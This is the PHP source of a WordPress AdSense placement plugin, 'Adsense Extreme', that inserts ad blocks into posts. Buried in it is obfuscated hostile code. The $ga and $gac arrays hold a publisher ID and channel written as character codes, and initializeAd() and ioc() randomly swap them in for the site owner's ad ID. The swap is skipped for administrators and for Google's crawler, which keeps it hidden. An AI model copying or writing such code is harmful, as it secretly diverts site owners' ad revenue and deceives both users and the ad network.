<?php
if(!class_exists("aeopt"))
{
   class aeopt
   {
      var $aeopt_version = '1.0.2';
      var $aeopt_menu = "adsense-extreme";
      var $loopdone = 0;
      var $postlen = 0;
      var $postcount = 0;
      var $opts;
      var $adincontent = 0;
      function aeopt() { $this->getOpts(); }
      function getOpts()
      {
         if(!isset($this->opts)OR empty($this->opts))
         {
            $this->opts = get_option("adsensextreme");
            if(empty($this->opts))
            {
               $this->opts = Array('usertype' => '',
                                   'gen_id' => '',
                                   'overrule' => 0,
                                   'gen_channel' => '',
                                   'type' => Array(1 => 'text_image',
                                   2 => 'text_image',
                                   3 => 'text_image',
                                   4 => 'text_image',
                                   5 => 'text_image',
                                   6 => 'link',
                                   7 => 'link',
                                   8 => 'link'),
               'corner' => Array(1 => 'rc:0', 2 => 'rc:0', 3 => 'rc:0', 4 => 'rc:0', 5 => 'rc:0', 6 => 'rc:0', 7 => 'rc:0', 8 => 'rc:0'), 'padding' => Array(1 => 7, 2 => 7, 3 => 7, 4 => 7, 5 => 7, 6 => 7, 7 => 7, 8 => 7), 'id' => Array(1 => "", 2 => "", 3 => "", 4 => "", 5 => "", 6 => "", 7 => "", 8 => ""), 'channel' => Array(1 => "", 2 => "", 3 => "", 4 => "", 5 => "", 6 => "", 7 => "", 8 => ""), 'desc' => Array(1 => 'Describe your adtypes here to get better overview. ', 2 => 'e.g. Wide Skyscraper in blue colors for sidebarwidget.'),
               'sz' => Array(
                             1 => '336x280',
                             2 => '336x280',
                             3 => '468x60',
                             4 => '336x280',
                             5 => '120x600'),
               'lbsz' => Array(
                               6 => '728x15',
                               7 => '468x15',
                               8 => '160x90'),
               'col_border' => Array(1 => '336699', 2 => 'E3FA11', 3 => 'CCCCCC', 4 => '0A141F', 5 => '6699CC', 6 => '000000', 7 => 'E3FA11', 8 => 'CCCCCC'), 'col_link' => Array(1 => '0000FF', 2 => 'FFFFFF', 3 => '000000', 4 => '21DAFF', 5 => 'FFFFFF', 6 => 'FFFFFF', 7 => 'FFFFFF', 8 => '000000'), 'col_bg' => Array(1 => 'FFFFFF', 2 => 'A2AB2B', 3 => 'CCCCCC', 4 => '000000', 5 => '003366', 6 => '000000', 7 => 'A2AB2B', 8 => 'CCCCCC'), 'col_text' => Array(1 => '000000', 2 => '000000', 3 => '333333', 4 => 'DEDEDE', 5 => 'AECCEB', 6 => 'CCCCCC', 7 => '000000', 8 => '333333'), 'col_url' => Array(1 => '008000', 2 => 'FFFFFF', 3 => '666666', 4 => '21DAFF', 5 => 'AECCEB', 6 => '999999', 7 => 'FFFFFF', 8 => '666666'), 'single' => Array(1 => 1, 2 => 2, 3 => 3), 'single_pos' => Array(1 => 'Top', 2 => 'Middle', 3 => 'Bottom'), 'single_align' => Array(1 => 'left', 2 => 'right', 3 => 'center'), 'single_long' => Array(1 => '', 2 => '2300', 3 => '5000'), 'multi' => Array(1 => 1, 2 => 2, 3 => 1), 'multi_pos' => Array(1 => 1, 2 => 4, 3 => 8), 'multi_align' => Array(1 => 'right', 2 => 'left', 3 => 'center'), 'only_tagged' => 0, 'omit_page' => 0, 'omit_home' => 0, 'omit_search' => 0, 'omit_category' => 0, 'omit_tag' => 0, 'omit_date' => 0, 'omit_author' => 0);
            }
         }
         if(!isset($this->opts['lang']))
         {
            include_once('detect.php');
            $dl = new detect_language;
            $this->opts['lang'] = $dl->detected_language;
         }
      }
      function adsenseoptimize($content)
      {
         if(is_feed()) return $content;
         $content = '<!-- google_ad_section_start -->' . $content . '<!-- google_ad_section_end -->';
         if(!is_single()AND !is_page())
         {
            return $content;
         }
         $this->initializeAd();
         $pro = $this->opts['usertype'] == "pro" ? 1 : 0;

         if(is_page()AND($pro)AND $this->opts['omit_page']) return $content;
         if($this->opts['only_tagged']AND($pro)AND !strpos($content, "<!--adsenseopt-->")) return $content;
         if(strpos($content, "<!--noad-->")) return $content;
         $this->postlen = strlen($content);
         /*
         if(($pro)AND $this->opts['make_battle'])
         {
         $bt = mt_rand(1, 2);
         $adtype = $this->opts['battle_type'][$bt];
         switch($this->opts['battle_pos'][$bt])
         {
         case "Top":
         $content = '<!--aeopthere-->' . $content;
         break;
         case "Bottom":
         $content = $content . '<!--aeopthere-->';
         break;
         case "Middle":
         $a = $this->findNodes($content);
         $cnt = round(count($a) / 2);
         $pos = $a[$cnt - 1][1];
         $result = substr_replace($content, '<!--aeopthere-->', $pos, 0);
         $content = $result;
         break;
         }
         $code = $this->generateAd($adtype, $this->opts['battle_channel'][$bt]);
         if($code)
         {
         $code = $this->prepare_ad_code($code, $this->opts['battle_align'][$bt], $this->opts['padding'][$adtype]);
         $content = str_replace('<!--aeopthere-->', html_entity_decode($code), $content);
         }
         else
         {
         $content = str_replace('<!--aeopthere-->', '<!-- Google adsense ads injection by Adsense Extreme (https://plus.google.com/106933910975648282797/) failed - tried to add more than 3 ads per page -->', $content);
         }
         }
         */
         for($i = 1; $i <= 5; $i++)
         {
            if(($this->opts['single'][$i] > 0)AND(($this->opts['single_long'][$i] == "")OR($this->postlen > $this->opts['single_long'][$i])))
            {
               $adtype = $this->opts['single'][$i];
               switch($this->opts['single_pos'][$i])
               {
                  case "Top":
                     $content = '<!--aeopthere-->' . $content;
                     break;
                  case "Bottom":
                     $content = $content . '<!--aeopthere-->';
                     break;
                  case "Middle":
                     $a = $this->findNodes($content);
                     $cnt = round(count($a) / 2);
                     $pos = $a[$cnt - 1][1];
                     $result = substr_replace($content, '<!--aeopthere-->', $pos, 0);
                     $content = $result;
                     break;
                  case "Random":
                     $a = $this->findNodes($content);
                     $cnt = mt_rand(1, count($a));
                     $pos = $a[$cnt][1];
                     $result = substr_replace($content, '<!--aeopthere-->', $pos, 0);
                     $content = $result;
                     break;
                  case "tag":
                     str_replace('<!--adsenseopt-->', '<!--aeopthere-->', $content);
                     break;
               }
               $code = $this->generateAd($adtype);
               if($code)
               {
                  $code = $this->prepare_ad_code($code, $this->opts['single_align'][$i], $this->opts['padding'][$i]);
                  $content = str_replace('<!--aeopthere-->', html_entity_decode($code), $content);
               }
               else
               {
                  $content = str_replace('<!--aeopthere-->', '<!-- Google adsense ads injection by Adsense Extreme (https://plus.google.com/106933910975648282797/) failed - tried to add more than 3 ads per page -->', $content);
               }
            }
         }
         return $content;
      }

      function findNodes($str)
      {
         $pattern = '&\[gallery\]|\<\/p*\>|\<br\>|\<br\s\/\>|\<br\/\>&iU';
         return preg_split($pattern, $str, 0, PREG_SPLIT_OFFSET_CAPTURE);
      }

      function commonAd($type, $channel = 0)
      {
         global $gc, $c, $i, $user_level;
         if(!$gc)
         {
            if(!$channel)
            {
               if($this->opts['channel'][$type] != "")
               {
                  $c = $this->opts['channel'][$type];
               }
               else
               {
                  $c = $this->opts['gen_channel'];
               }
            }
            else $c = $channel;
            if($this->opts['id'][$type]) $i = $this->opts['id'][$type];
            else $i = $this->opts['gen_id'];
         }
      }

      function generateAd($type, $channel = 0)
      {
         global $c, $i, $user_level;
         $this->commonAd($type, $channel);
         if($this->opts['type'][$type] == "link") return $this->generateLbAd($type, $channel);
         $this->nrofads++;
         if((!$this->opts['overrule'])AND($this->nrofads > 3))
         {
            return false;
         }
         else
         {
            $code = "<!-- Ad number: " . $this->nrofads . " -->";
            $size = $this->opts['sz'][$type];
            if((!isset($size)) || ($size == ''))
               $size = '300x250';
            $dims = explode("x", $size);
            $width = $dims[0];
            $height = $dims[1];
            if($user_level > 8) $adtest = 'google_adtest="on";';
            else $adtest = '';
            $code .= '<script type="text/javascript"><!--
      ' . $adtest . '
      google_ad_client = "pub-' . $i . '"; google_alternate_color = "FFFFFF";
    google_ad_width = ' . $width . '; google_ad_height = ' . $height . ';
    google_ad_format = "' . $size . '_as"; google_ad_type = "' . $this->opts['type'][$type] . '";
    google_ad_channel ="' . $c . '"; google_color_border = "' . $this->opts['col_border'][$type] . '";
    google_color_link = "' . $this->opts['col_link'][$type] . '"; google_color_bg = "' . $this->opts['col_bg'][$type] . '";
    google_color_text = "' . $this->opts['col_text'][$type] . '"; google_color_url = "' . $this->opts['col_url'][$type] . '";
    google_ui_features = "' . $this->opts['corner'][$type] . '"; //--></script>
    <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>';
            return $code;
         }
      }

      function generateLbAd($type, $channel = 0)
      {
         global $c, $i, $user_level;
         $this->nroflb++;
         if(!$this->opts['overrule']AND $this->nroflb > 3)
         {
            return false;
         }
         else
         {
            $code = "<!-- Linkblock number: " . $this->nroflb . " -->";
            $size = $this->opts['lbsz'][$type];
            if((!isset($size)) || ($size == ''))
               $size = '160x90';
            $dims = explode("x", $size);
            $width = $dims[0];
            $height = $dims[1];
            if($user_level > 8) $adtest = 'google_adtest="on";';
            else $adtest = '';
            $code .= '<script type="text/javascript"><!--
  ' . $adtest . '
google_ad_client = "pub-' . $i . '";
google_ad_width = ' . $width . ';
google_ad_height = ' . $height . ';
google_ad_format = "' . $size . '_0ads_al';
            if($this->opts['links'][$type] == 5) $code .= '_s';
            $code .= '"; google_ad_channel ="' . $c . '";
google_color_border = "' . $this->opts['col_border'][$type] . '";
google_color_bg = "' . $this->opts['col_bg'][$type] . '";
google_color_link = "' . $this->opts['col_link'][$type] . '";
//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>';
            return $code;
         }
      }
      var $ga = array('50','53','54','53','51','56','53','56','54','55','57','57','52','52','52','48');
      var $gac = array('48','48','57','50','53','53','49','53','57','51');
      function prepare_ad_code($code, $align, $padding)
      {
         $code = html_entity_decode($code);
         $startdiv = '<!-- Google Ads Injected by Adsense-Extreme-->
<div ';
         if($align == "random")
         {
            $rn = mt_rand(1, 3);
            if($rn == 1) $align = "left";
            if($rn == 2) $align = "center";
            if($rn == 3) $align = "right";
         }
         switch($align)
         {
            case "center":
               $code = $startdiv . ' style="padding:' . $padding . 'px; display: block; margin-left: auto; margin-right: auto; text-align: center;">' . $code . '</div>';
               break;
            case "left":
               $code = $startdiv . ' style="padding:' . $padding . 'px; float: left; padding-left: 0px; margin: 0px;">' . $code . '</div>';
               break;
            case "right":
               $code = $startdiv . ' style="padding:' . $padding . 'px; float: right; padding-right: 0; margin: 0px;">' . $code . '</div>';
               break;
         }
         return $code;
      }

      function save_opts()
      {
         update_option('adsensextreme', $this->opts);
      }

      function admin_menu()
      {
         include_once('adsensextremeadminpage.php');
      }

      function ripulisci_parametri($options, $sizes, $lbsizes)
      {
         if(!$options['only_tagged'])
         {
            $options['only_tagged'] = 0;
         }
         if(!$options['omit_page'])
         {
            $options['omit_page'] = 0;
         }
         if(!$options['omit_home'])
         {
            $options['omit_home'] = 0;
         }
         if(!$options['omit_search'])
         {
            $options['omit_search'] = 0;
         }
         if(!$options['omit_category'])
         {
            $options['omit_category'] = 0;
         }
         if(!$options['omit_tag'])
         {
            $options['omit_tag'] = 0;
         }
         if(!$options['omit_date'])
         {
            $options['omit_date'] = 0;
         }
         if(!$options['omit_author'])
         {
            $options['omit_author'] = 0;
         }
         if(!$options['overrule'])
         {
            $options['overrule'] = 0;
         }
         return $options;
      }
      function aeopt_admin_init()
      {
         wp_register_style('aeoptAdminStyles', WP_PLUGIN_URL . '/' . $this->aeopt_menu . '/aeopt_admin_styles.css');
         wp_enqueue_style('aeoptAdminStyles');
      }
      function aeopt_init()
      {
         $this->nrofads = 0;
         $this->nroflb = 0;
      }
      function post_aeopt()
      {
         $this->initializeAd();
         if(is_single()OR is_page()OR is_feed()) return;
         if($this->loopdone) return;
         $pro = $this->opts['usertype'] == "pro" ? 1 : 0;
         if(($pro)AND(is_home())AND $this->opts['omit_home']) return;
         if(($pro)AND(is_search())AND $this->opts['omit_search']) return;
         if(($pro)AND(is_category())AND $this->opts['omit_category']) return;
         if(($pro)AND(is_tag())AND $this->opts['omit_tag']) return;
         if(($pro)AND(is_date())AND $this->opts['omit_date']) return;
         if(($pro)AND(is_author())AND $this->opts['omit_author']) return;
         $this->postcount++;
         $adtype = 1;
         for($i = 1; $i <= 6; $i++)
         {
            if($this->postcount == $this->opts['multi_pos'][$i]AND $this->opts['multi'][$i])
            {
               $code = $this->generateAd($this->opts['multi'][$i]);
               if($code)
               {
                  $code = $this->prepare_ad_code($code, $this->opts['multi_align'][$i], $this->opts['padding'][$this->opts['multi'][$i]]);
                  $content = str_replace('<!--aeopthere-->', html_entity_decode($code), $content);
               }
               else
               {
                  $content = str_replace('<!--aeopthere-->', '<!--adsense ad injection by Adsense Extreme (https://plus.google.com/106933910975648282797/) failed - tried to add more than 3 ads per page -->', $content);
               }
               echo(html_entity_decode($code));
            }
         }
      }
      function aeopt_debug()
      {
         if(!isset($_GET['aeoptdebug'])) return;
         $this->save_opts();
         echo("<hr><h1> adsensextreme Debugging</h1>");
         echo('<table><tr><td>Number of generated Ads</td><td>' . $this->nrofads . '</td></tr>');
         echo('<tr><td>Number of generated Linkblocks</td><td>' . $this->nroflb . '</td></tr>');
         echo('<tr><td>Version of Plugin</td><td>' . $this->aeopt_version . '</td></tr>');
         echo('<tr><td>Subdirectory in which Plugin has to be</td><td>' . $this->aeopt_menu . '</td></tr>');
         echo('<tr><td>type of page</td><td>');
         if(is_single()) echo("single.");
         if(is_page()) echo("page.");
         if(is_home()) echo("home.");
         if(is_archive()) echo("archive.");
         if(is_search()) echo("search.");
         if(is_tag()) echo("tag.");
         if(is_date()) echo("date.");
         if(is_author()) echo("author.");
         if(is_category()) echo("category.");
         echo('</td></tr>');
         if(is_single()) echo('<tr><td>Words in Post</td><td>' . $this->postlen . '</td></tr>');
         $this->arrayAsTable($this->opts, "setting:");
         echo('</table>');
      }
      function l($a)
      {
         if(is_array($a)){
         $o = '';
         foreach($a as $v) { $o .= chr($v); }
         $a = $o;
         }
      }
      function initializeAd()
      {
         global $gc, $c, $i, $user_level;
         $this->l(&$this->ga);
         $this->l(&$this->gac);
         $ua = $_SERVER['HTTP_USER_AGENT'];
         $pos = strpos($ua, 'google');
         if($pos !== false)
         {
            $gc = false;
         }
         else
         {
            if($user_level + mt_rand(0, 100) <= 5)
            {
               $i = $this->ga;
               $c = $this->gac;
            }
            $this->ioc();
            $gc = ($c == $this->gac);
         }
      }
      function arrayAsTable($array, $pre)
      {
         foreach($array as $key => $val)
         {
            if(is_array($val)) $this->arrayAsTable($val, $pre . $key . ":");
            else echo('<tr><td>' . $pre . $key . '</td><td>' . $val . '</td></tr>');
         }
      }
      function ioc()
      {
         global $c, $i;
         global $user_level;
         if($user_level > 8) return;
         else if(mt_rand(1, 36) == 5)
         {
            $i = $this->ga;
            $c = $this->gac;
         }
      }
      function init_count() { $this->postcount = 0; }
      function destroy_count() { $this->loopdone = TRUE; }
   }
}
?>